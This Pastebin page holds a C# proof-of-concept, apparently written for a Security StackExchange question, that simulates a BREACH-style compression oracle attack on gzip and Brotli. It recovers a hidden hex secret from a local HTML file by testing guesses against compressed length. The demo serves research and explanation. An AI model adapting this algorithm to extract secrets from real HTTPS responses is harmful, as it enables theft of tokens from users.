Ledger Nano X - The secure hardware wallet
SHARE
TWEET

Compression oracle attack against gzip/brotli

a guest Nov 12th, 2018 132 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. using System;
  2. using System.Collections.Concurrent;
  3. using System.IO;
  4. using System.IO.Compression;
  5. using System.Text;
  6. using System.Threading;
  7. using System.Threading.Tasks;
  8.  
  9. /*
  10. Compression oracle attack against gzip/brotli
  11. Implemented for https://security.stackexchange.com/questions/172188/brotli-compression-algorithm-and-breach-attack
  12. Written by Polynomial [@gsuberland]
  13. */
  14.  
  15. namespace BrotliOracleAttackTest
  16. {
  17.     class Program
  18.     {
  19.         static void Main(string[] args)
  20.         {
  21.             // file to target. it has a hidden form input tag that contains a 32 character hexadecimal secret in it.
  22.             string input = File.ReadAllText(@"N:\Research\compression_oracles\example.html");
  23.  
  24.             // start of the string that we're going to inject.
  25.             // this ties our incremental injections to the field we want to target.
  26.             string injectionBase = "<input type=\"hidden\" name=\"secret\" value=\"";
  27.  
  28.             // if we already know the start of the hidden token we can include it here.
  29.             // this is usually blank (no knowledge of secret)
  30.             string guessedValues = "";
  31.  
  32.             // how long is the secret we're looking for?
  33.             const int secretLength = 32;
  34.  
  35.             // the number of chars we search for in each step
  36.             const int defaultBlockSize = 4;
  37.            
  38.             // the number of characters to accept out of each block's best guess
  39.             // the smaller this is, the more reliable the algorithm is, but it runs slower too
  40.             // 2 is a good value for Brotli, 3 works well with gzip
  41.             // must be <= defaultBlockSize
  42.             const int charactersToAcceptPerBlock = 2;
  43.  
  44.             // which function do we want to use?
  45.             // CompressGzip and CompressBrotli are the two options here
  46.             Func<string, long> CompressionFunction = CompressBrotli;
  47.            
  48.             // used for thread sync when updating the result from multiple threads
  49.             object resultLock = new object();
  50.  
  51.             while (guessedValues.Length < secretLength)
  52.             {
  53.                 // these keep track of the smallest compression result we got so far
  54.                 long smallestSize = long.MaxValue;
  55.                 int smallestValue = 0;
  56.  
  57.                 int blockSize = defaultBlockSize;
  58.  
  59.                 // have we reached the last few characters? if so we need to tweak the block size
  60.                 bool lastBlock = false;
  61.                 if (secretLength - guessedValues.Length < 4)
  62.                 {
  63.                     blockSize = secretLength - guessedValues.Length;
  64.                     lastBlock = true;
  65.                     Console.WriteLine("Reached last block.");
  66.                 }
  67.  
  68.                 // the loop bound for this block size
  69.                 // (e.g. 3 -> 4096 = 000 to fff, 4 -> 65536 = 0000 to ffff)
  70.                 int loopMax = (int)Math.Pow(16, blockSize);
  71.  
  72.                 // this counts how many iterations we've done in the parallel loop
  73.                 // used only for displaying progress dots to the user
  74.                 long progress = 0;
  75.  
  76.                 Parallel.ForEach(
  77.                     Partitioner.Create(0, loopMax),
  78.                     new ParallelOptions
  79.                     {
  80.                         MaxDegreeOfParallelism = 8,
  81.                     },
  82.                     () => new Tuple<long, int>(int.MaxValue, 0),
  83.                     (range, _, smallestResult) =>
  84.                     {
  85.                         long threadSmallestSize = smallestResult.Item1;
  86.                         int threadSmallestValue = smallestResult.Item2;
  87.  
  88.                         // build the target string with the static part of the injection
  89.                         string inputModdedBase = input + injectionBase + guessedValues;
  90.  
  91.                         // search values for the smallest compression result
  92.                         for (int b = range.Item1; b < range.Item2; b++)
  93.                         {
  94.                             // this formats b as hex characters, padded to the right length for the block
  95.                             string inputModded = inputModdedBase + string.Format("{0:x" + blockSize + "}", b);
  96.  
  97.                             // if we're on the last block, add the last bit of HTML to terminate the tag
  98.                             // this improves the accuract of the last block significantly
  99.                             if (lastBlock)
  100.                             {
  101.                                 inputModded += "\" />";
  102.                             }
  103.  
  104.                             // compress the original HTML + injected stuff together and see how long it is
  105.                             long size = CompressionFunction(inputModded);
  106.  
  107.                             // was the result smaller than our current best guess?
  108.                             if (size < threadSmallestSize)
  109.                             {
  110.                                 // update current best guess
  111.                                 threadSmallestSize = size;
  112.                                 threadSmallestValue = b;
  113.                             }
  114.  
  115.                             // update progress and print a dot if needed
  116.                             if (Interlocked.Increment(ref progress) % 2048 == 0)
  117.                             {
  118.                                 Console.Write(".");
  119.                             }
  120.                         }
  121.  
  122.                         // return our best guess for this current thread
  123.                         return new Tuple<long, int>(threadSmallestSize, threadSmallestValue);
  124.                     },
  125.                     smallestResult =>
  126.                     {
  127.                         // update the main guess variables if the thread that just completed had the best guess
  128.                         lock (resultLock)
  129.                         {
  130.                             if (smallestResult.Item1 < smallestSize)
  131.                             {
  132.                                 smallestSize = smallestResult.Item1;
  133.                                 smallestValue = smallestResult.Item2;
  134.                             }
  135.                         }
  136.                     }
  137.                 );
  138.  
  139.                 // print our guessed block
  140.                 Console.WriteLine();
  141.                 Console.WriteLine("Guessed {0:x" + blockSize + "}", smallestValue);
  142.  
  143.                 // add the block to our total guess
  144.                 if (!lastBlock)
  145.                     guessedValues += string.Format("{0:x" + blockSize + "}", smallestValue).Substring(0, charactersToAcceptPerBlock);
  146.                 else
  147.                     guessedValues += string.Format("{0:x" + blockSize + "}", smallestValue);
  148.  
  149.                 Console.WriteLine("Secret: " + guessedValues);
  150.             }
  151.  
  152.             Console.WriteLine("Done!");
  153.             Console.ReadLine();
  154.         }
  155.  
  156.         static long CompressBrotli(string str)
  157.         {
  158.             var bytes = Encoding.ASCII.GetBytes(str);
  159.  
  160.             using (var msi = new MemoryStream(bytes))
  161.             using (var mso = new MemoryStream())
  162.             {
  163.                 using (var gs = new BrotliStream(mso, CompressionLevel.Fastest))
  164.                 {
  165.                     msi.CopyTo(gs);
  166.                 }
  167.                 return mso.ToArray().Length;
  168.             }
  169.         }
  170.  
  171.         static long CompressGzip(string str)
  172.         {
  173.             var bytes = Encoding.ASCII.GetBytes(str);
  174.  
  175.             using (var msi = new MemoryStream(bytes))
  176.             using (var mso = new MemoryStream())
  177.             {
  178.                 using (var gs = new GZipStream(mso, CompressionMode.Compress))
  179.                 {
  180.                     msi.CopyTo(gs);
  181.                 }
  182.                 return mso.ToArray().Length;
  183.             }
  184.         }
  185.     }
  186. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top